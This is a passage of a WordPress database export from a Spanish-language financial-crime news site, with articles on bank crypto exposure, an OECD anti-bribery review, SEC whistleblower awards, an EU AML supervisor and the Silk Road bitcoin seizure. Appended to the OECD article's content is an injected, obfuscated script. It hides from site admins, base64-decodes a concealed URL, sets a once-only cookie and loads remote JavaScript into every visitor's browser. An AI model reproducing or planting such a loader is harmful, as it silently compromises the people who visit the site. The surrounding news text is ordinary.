criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, 